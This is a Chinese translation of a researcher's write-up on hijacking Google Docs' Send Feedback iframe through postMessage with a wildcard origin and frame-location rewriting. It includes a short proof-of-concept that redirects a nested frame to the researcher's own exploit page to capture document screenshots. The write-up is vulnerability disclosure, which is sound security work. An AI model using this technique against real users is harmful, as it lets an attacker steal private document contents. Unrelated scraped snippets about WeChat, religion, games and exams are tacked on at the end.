本文中,作者利用谷歌的问题反馈机制功能,通过更改其中调用框架iframe的URL路径,可实现对用户当前谷歌文档(Google Docs)工作界面的间接劫持。一起来看看。
谷歌在其大部分应用产品中都有一个名叫“反馈发送”( Send Feedback)的功能,用于用户在使用其产品过程中的问题反馈,该功能中设置了问题描述的截图添加选项。如下所示:
目前来看,该“反馈发送”是谷歌旗下应用的常见功能,范围涵盖包括谷歌主站点https://www.google.com在内的其它应用或产品,并且还通过Iframe方式集成到了谷歌的其它域名网站下。
基于上述谷歌的“反馈发送”功能来看,假设我们在使用谷歌文档-Google Docs (https://docs.google.com/document),可以从路径Help--> Send Feedback来打开“反馈发送”功能来提交一些使用问题。打开“反馈发送”功能后,我们可以看到,此时的谷歌文档会以Iframe方式,对你当前的谷歌文档工作区域部份进行截图。由于谷歌主站www.google.com和Google docs (docs.google.com) 分别属于不同的源,所以,这里“反馈发送”功能的截图渲染操作可能就涉及到了跨源(域)通信,当然,PostMessage机制在这里就派上用场了。大概的一个流程就是:Google Docs会通过postmessage机制把其当前的工作文档截图RGB颜色模式发送到谷歌主站www.google.com的iframe框架,其截图RGB颜色模式最终会被postmessage *** 发到feedback.googleusercontent.com,然后以Base64编码send到主站www.google.com的iframe框架中去。
最后,还得在其截图反馈中添加文字描述,点击“Submit Feedback”提交反馈后,postmessage *** 会一并把图文发送到https://www.google.com。总体流程如下:
了解了上述的反馈发送功能后,我首先想在其中的沙箱域名feedback.googleusercontent.com测试一下XSS漏洞,我预想利用XSS漏洞去劫持其中传输的用来渲染RGB像素点的值,这样就可以间接窃取其截图。一开始我比较有把握觉得沙箱域名feedback.googleusercontent.com应该有XSS,在我朋友的帮助下,我们前后历时5天,但连XSS的影子都没发现,就快要放弃了。一周后,我在Twitter中看到了白帽filedescriptor之前发过的一个视频,视频是关于Intigriti XSS挑战赛的解题思路。
看了filedescriptor发的视频后,我学到了一招。就是,如果当前的跨域域名缺少X-Frame-Header消息头,则可以修改其iframe涉及的域名网站路径。就比如,如果域名abc.com调用的iframe涉及efg.com,但是若abc.com缺少X-Frame-Header消息头,则可以用frames.location *** 把其中涉及iframe的efg.com更改为恶意域名evil.com。
如何来利用呢?是不是如果把其中的跨域域名修改成为我自己控制的网站域名,那我的网站中就会收到谷歌postmessage过来的数据?我决定一试,于是把上述涉及iframe调用的沙箱域名feedback.googleusercontent.com更改为了我的网站域名-geekycat.in,可是,不行,啥也没有。谷歌反馈发送功能中的postmessage *** 如下:
windowRef.postmessage("<Data>","https://feedback.googleusercontent.com");
所以,即使我把iframe调用路径域名更改成我的域名网站,但是由于postmessage *** 中是feedback.googleusercontent.com,所以还是不匹配,就不能成功。但之后,我观察到谷歌反馈发送提交后的最后一个postmessage *** 为windowRef.postmessage("<Data>","*"),其中竟然没有域名限制,那再来试试看吧!
但等等,之前我说过,这里还需要主域名缺少X-Frame header消息头,怎么办呢?幸好经过检查发现,Google docs真的没有X-Frame header消息头。但谷歌还具备其它点击劫持防护措施,而且很多功能选项在iframe框架机制中都是禁用的。这里,我又发现了另外一个LiveOverflow
发布的漏洞利用视频Google Docs XSS Vulnerability,其中讲述了利用postMessage()实现Google Docs 的XSS漏洞,非常具有针对性,完全我能应用到这里的漏洞测试中来。
有了上述珠玉在前的参考,最终我构造的POC如下:
<html> ? ? <iframe src="https://docs.google.com/document/ID" /> ? ? <script> ? ? ? ?//pseudo code ? ? ? ? ? ? ? ? ? ? setTimeout(function(){ exp(); }, 6000); ? ? ? ? function exp(){ ? ? ? ? setInterval(function(){? ? ? ? ? ?window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html"; ? ? ? ? }, 100); ? ? ? ? } ? ? </script> </html>
上述代码意思是以setTimeout方式在6秒后加载iframe框架,另外一个问题是,只有当用户点击了“Submit Feedback”提交反馈后iframe框架才会被加载,因此,在框架的location中,我们对嵌入其中的恶意URL链接设置了100毫秒的刷新时间,以防用户未及时点击“Submit Feedback”。
参考来源:geekcat,编译整理:clouds,转载请注明来自Freebuf.com
左滑误删微信聊天记录怎么办(误删了微信对话框怎么恢复)特岗教师招聘终于百思特网发布官方公告了! 具体情况如下: 2021年农村义务教育阶段学校特设岗位计划实施:左滑误删微信聊天记录怎么办(...
神父可以结婚吗(神父就该禁欲不婚吗) 教友能够结婚啊(教友就该戒欲不婚主义吗)提及教友 ,大家的脑海中里便会发生那样一幅界面:在庄重的主教堂内,一对新手已经办婚礼,为她们主持人婚宴 、意味着造物主...
对于很多游戏玩家而言,在众多纷繁复杂的各种游戏当中,格斗类游戏凭借着打击感与考验操作的连击技一直为很多人所痴迷,而今天,小编就带大家带来一款格斗游戏《炫斗之王》,希望大家会喜欢。 炫斗之王 《炫斗之...
教师专业发展总结(教师专业发展心得体会) 教师专业发展培训活动已经告一段落,在两周的培训活动中,我认真聆听教育专家讲座。无论是从理论上还是实践操作的过程当中都起到了一个很好的指导作用,让我感到...
假的。高考成绩机读卡的采集数据时加密的。然后招考中新的专用解密软件解密后算分。程序是不会允许工作人员随便改分的。而且所有的计算机都是物理。 实话告诉你吧,那是不可能地,黑客又不是神仙没有那么厉害的。而...
在计算机中,该命令是在对程序进行编程时发出的编程命令。我们的小伙伴们很少触碰电脑指令。但是,了解修复命令有助于解决计算机问题。接下来,我将与您共享CHKDSK命令来修复磁盘 如何使用CHKDSK命令...